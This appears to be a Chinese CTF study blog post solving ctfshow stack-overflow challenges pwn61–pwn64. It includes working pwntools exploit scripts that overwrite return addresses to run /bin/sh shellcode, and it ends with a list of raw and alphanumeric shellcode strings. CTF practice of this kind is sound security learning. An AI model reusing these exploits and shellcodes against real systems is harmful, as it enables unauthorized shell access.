ctfshow刷题笔记—栈溢出—pwn61~pwn64

news/2025/3/3 19:46:14/

目录

前言

一、pwn61(输出了什么?)

二、pwn62(短了一点)

三、pwn63(又短了一点)  

四、pwn64(有时候开启某种保护并不代表这条路不通)

五、一些shellcode

前言

这几道都是与shellcode有关的题,实在是不会写,还是试了试,记录一下,收集了一些shellcode。


一、pwn61输出了什么?

checksec 一下:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn61
[*] '/home/kali/桌面/ctfshoww/pwn61'Arch:       amd64-64-littleRELRO:      Partial RELROStack:      No canary foundNX:         NX unknown - GNU_STACK missingPIE:        PIE enabledStack:      ExecutableRWX:        Has RWX segments
Stripped:   No

开了地址随机化。

现在先看一下main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{__int64 v4; // [sp+0h] [bp-10h]@1__int64 v5; // [sp+8h] [bp-8h]@1v4 = 0LL;v5 = 0LL;setvbuf(_bss_start, 0LL, 1, 0LL);logo();puts("Welcome to CTFshow!");printf("What's this : [%p] ?\n", &v4, 0LL, 0LL);puts("Maybe it's useful ! But how to use it?");gets(&v4);return 0;
}

主要是打印logo信息,值得注意的是会输出一个地址,查看一下v4:

0x10+x08,我们写入shellcode以后,通过返回v4的地址取让程序执行shellcode

本地运行一下:

Welcome to CTFshow!
What's this : [0x7ffdb824c790] ?
Maybe it's useful ! But how to use it?

v4ar=0x7ffd9de01430

一开始我就是这样写的:

from pwn import *
context.log_level='debug'
context.arch='amd64'
p=remote("pwn.challenge.ctf.show",28164)
pad=b'a'*(0x10+0x8)
v4ar=0x7ffdb824c790
shellcode=asm(shellcraft.sh())
payload1=pad+p64(v4ar)+shellcode
p.sendline(payload1)
p.interactive()

发现打不通,似乎忽略了一些东西,于是去读了大佬们的文章。

遇到的一个问题是shellcode太长,超出了v4,v5的范围,这是为什么呢?

Shellcode 的长度通常会超过 v5 的空间(8 字节)。如果直接覆盖 v5,Shellcode 的部分内容可能会被截断。此外,leave ret 之后,程序可能会跳转到一个无效地址,导致崩溃。

去搜索了一下leave

等价于 mov rsp, rbp 和 pop rbp。

它将 rbp 的值赋给 rsp,从而恢复上一个栈帧的栈指针。

然后从栈上弹出 rbp 的值,恢复上一个栈帧的基指针。

所以我们把shellcode写在v5后面就是pad+b’a’*0x8的位置,因为还有一个返回地址的位置.

还有就是输出的地址是动态的,每次不一样。

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28297)
pad=0x10+8
shellcode = asm(shellcraft.sh())
p.recvuntil("What's this : [")        
v5ar = eval(p.recvuntil(b"]",drop=True))    
#drop=True是为去掉"]"
#eval()是将str数据转为整型数据
print(hex(v5ar))
payload=flat([cyclic(pad),v5ar+pad+8,shellcode])
p.sendline(payload)
p.interactive()

注意返回地址v5的地址加pad+8,不是填充字符。


二、pwn62(短了一点)

checksec和上一道题差不多:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn62
[*] '/home/kali/桌面/ctfshoww/pwn62'Arch:       amd64-64-littleRELRO:      Partial RELROStack:      No canary foundNX:         NX unknown - GNU_STACK missingPIE:        PIE enabledStack:      ExecutableRWX:        Has RWX segments
Stripped:   No

也是地址随机化,提前运行的界面和上一道题差不多,会给一个地址。

拖进ida看一看。

看一下main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{FILE *v3; // rdi@1__int64 buf; // [sp+0h] [bp-10h]@1__int64 v6; // [sp+8h] [bp-8h]@1buf = 0LL;v6 = 0LL;v3 = _bss_start;setvbuf(_bss_start, 0LL, 1, 0LL);logo(v3, 0LL);puts("Welcome to CTFshow!");printf("What's this : [%p] ?\n", &buf, 0LL, 0LL);puts("Maybe it's useful ! But how to use it?");read(0, &buf, 0x38uLL);return 0;
}

看一下这个buf:

-0000000000000010 buf             dq ?
-0000000000000008 var_8           dq ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)

0x10+0x8

这里的shellcode是有限制的。

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28295)
offset=0x10+0x8
p.recvuntil("[")
buf_ar=eval(p.recvuntil(b"]",drop=True))
print(hex(buf_ar))
shellcode=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
payload=offset*b'a'+p64(buf_ar+offset+8)+shellcode
p.sendline(payload)
p.interactive()


三、pwn63(又短了一点)  

checksec一下:

  [*] You have the latest version of Pwntools (4.14.0)
[*] '/home/kali/桌面/ctfshoww/pwn63'Arch:       amd64-64-littleRELRO:      Partial RELROStack:      No canary foundNX:         NX unknown - GNU_STACK missingPIE:        PIE enabledStack:      ExecutableRWX:        Has RWX segments
Stripped:   No

开了地址随机化,拖进ida看一看和上一道题有什么区别。

确实有一些变化:

 puts("Maybe it's useful ! But how to use it?");read(0, &buf, 0x37uLL);

看一下buf

-0000000000000010 buf             dq ?
-0000000000000008 var_8           dq ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)

0x10+0x8

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28222)
offset=0x10+0x8
p.recvuntil("[")
buf_ar=eval(p.recvuntil(b"]",drop=True))
print(hex(buf_ar))
shell=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
payload=offset*b'a'+p64(buf_ar+offset+8)+shell
p.sendline(payload)
p.interactive()


四、pwn64(有时候开启某种保护并不代表这条路不通)

有点意思,先checksec一下:

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn64
[*] '/home/kali/桌面/ctfshoww/pwn64'Arch:       i386-32-littleRELRO:      Partial RELROStack:      No canary foundNX:         NX enabledPIE:        No PIE (0x8048000)
Stripped:   No

虽然开了栈不可执行,但是程序里有不一样的东西:

buf = mmap(0, 0x400u, 7, 34, 0, 0);

一开始我也不知道这是什么,查了一下:

mmap 是一个系统调用,用于创建一个内存映射区域。它通常用于以下场景:

·映射文件到内存,以便可以像访问内存一样访问文件内容。

·创建匿名内存区域,用于分配动态内存。

·共享内存,用于进程间通信。

根据之前学的知识,7(port参数)是可读可写的意思,所以,我们任然可以注入shellcode。

void* mmap(void* addr, size_t length, int prot, int flags, int fd, off_t offset);

0x400字节足够我们放下shellcode,总之试一试:

from pwn import *
p=remote("wn.challenge.ctf.show",28201)
shellcode=asm(shellcraft.sh())
payload=shellcode
p.sendline(payload)
p.interactive()

打通之后快些ls,因为有定时器,如果想更长一点可以加一段shellcode,但是用处不大,因为我也不太会写shellcode,所以问了问人机了解了一下:

from pwn import *
p=remote("wn.challenge.ctf.show",28201)
alarm_close=asm("""mov eax,37xor ebx,ebxint 0x80
""",arch='i386')
shellcode=asm(shellcraft.sh())
payload=alarm_close+shellcode
p.sendline(payload)
p.interactive()


五、一些shellcode

关于shellcode我也不会写,所以去搜了一些shellcode,一般情况下还是能用的。

不可见:

32位段字节shellcode(21字节)

\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

64位较短的shellcode(23字节)

\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

可见版本(由可见字符组成):

X64:

Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

32位:

PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA

继续学习中......


http://www.ppmy.cn/news/1576360.html

相关文章

【网络安全 | 漏洞挖掘】利用文件上传功能的 IDOR 和 XSS 劫持会话

未经许可,不得转载。 本文涉及漏洞均已修复。 文章目录 前言正文前言 想象这样一个场景:一个专门处理敏感文档的平台,如保险理赔或身份验证系统,却因一个设计疏漏而成为攻击者的“金矿”。在对某个保险门户的文件上传功能进行测试时,我意外发现了一个可导致大规模账户接管…

P8720 [蓝桥杯 2020 省 B2] 平面切分--set、pair

P8720 [蓝桥杯 2020 省 B2] 平面切分--set、pair 题目 分析一、pair1.1pair与vector的区别1.2 两者使用场景两者组合使用 二、set2.1核心特点2.2set的基本操作2.3 set vs unordered_set示例:统计唯一单词数代码 题目 分析 大佬写的很明白,看这儿 我讲讲…

C#贪心算法

贪心算法:生活与代码中的 “最优选择大师” 在生活里,我们常常面临各种选择,都希望能做出最有利的决策。比如在超市大促销时,面对琳琅满目的商品,你总想用有限的预算买到价值最高的东西。贪心算法,就像是一…

大白话css第四章学习的高阶实践与前沿探索

大白话css第四章学习的高阶实践与前沿探索 1. 深入响应式设计 解释:响应式设计就是让网页在各种设备上,像手机、平板、电脑等,都能好看又好用。之前可能简单用用媒体查询,现在要更深入,考虑各种不同屏幕尺寸和设备特…

Ubuntu 22.04 安装Nvidia驱动加速deepseek

一键安装22.04 nvidia 驱动 nvidia 官网下载驱动我的环境是NVIDIA RTX A5000nvidia 文档参考没有安装驱动之前确认自己的型号 lspci | grep -i vga (如数字2231) 参考docker 支持nvidia ,注释了需要的取消注释即可 42行-92行一定要重启服务器…

蓝桥杯2024年真题java B组 【H.拼十字】

蓝桥杯2024年真题java B组 【H.拼十字】 原题链接:拼十字 思路: 使用树状数组或线段树解决。 先将输入的信息存入到一个n行3列的数组中,将信息排序,按照长度小到大,长相同时,宽度小到大 排序。 建立三个…

安全见闻5,6

人工智能篇 人工智能目前处于高数发展阶段,所涉及的安全问题也很多 ai所收集的数据有泄露的风险(数据安全) ai进行工作的时候可能因为收集的恶意信息而产生错误(对抗攻击) ai模型被逆向窃取的风险,涉及到知识产权被侵犯的问题 ai被用作与恶意网络攻击的风险 同时要搞好ai…

命令行方式安装KFS同步KES到KADB

部署背景及环境 使用命令行方式同步KES的数据至KADB 操作系统 [mppadminmdw ~]$ uname -a Linux mdw 4.19.90-24.4.v2101.ky10.aarch64 #1 SMP Mon May 24 14:45:37 CST 2021 aarch64 aarch64 aarch64 GNU/Linux KFS版本 KingbaseFlySync-V002R002C004PS002-replicator.t…